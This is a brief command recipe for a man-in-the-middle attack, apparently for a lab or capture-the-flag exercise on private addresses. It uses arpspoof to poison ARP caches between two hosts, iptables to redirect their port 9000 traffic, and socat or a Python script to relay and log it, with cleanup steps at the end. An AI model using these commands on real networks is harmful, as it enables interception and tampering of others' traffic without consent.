MITM Proxy Setup

Prerequisites

• Root access
• arpspoof installed (dsniff package)

Setup Commands

1. Enable IP forwarding

sysctl -w net.ipv4.ip_forward=1

2. Start ARP spoofing (two terminals or background)

arpspoof -i eth1 -t 10.0.91.132 10.0.91.130 &
arpspoof -i eth1 -t 10.0.91.130 10.0.91.132 &

3. Redirect traffic to proxy

iptables -t nat -A PREROUTING -i eth1 -s 10.0.91.132 -d 10.0.91.130 -p tcp --dport 9000 -j REDIRECT --to-port 9000

Why iptables is needed: ARP spoofing makes traffic flow through our machine, but packets are still addressed to 10.0.91.130:9000. Without iptables, our kernel would just forward them onward. The REDIRECT rule intercepts packets before routing and rewrites the destination to localhost:9000, delivering them to our proxy instead.

4. Run proxy

Option A: socat (minimal, no logging)

socat TCP-LISTEN:9000,fork,reuseaddr TCP:10.0.91.130:9000

Option B: socat with hex dump

socat -x -v TCP-LISTEN:9000,fork,reuseaddr TCP:10.0.91.130:9000

Option C: Python script (with JSONL logging)

python3 math_solve.py

Cleanup Commands

Stop ARP spoofing

pkill arpspoof

Remove iptables rule

iptables -t nat -D PREROUTING -i eth1 -s 10.0.91.132 -d 10.0.91.130 -p tcp --dport 9000 -j REDIRECT --to-port 9000

Network Info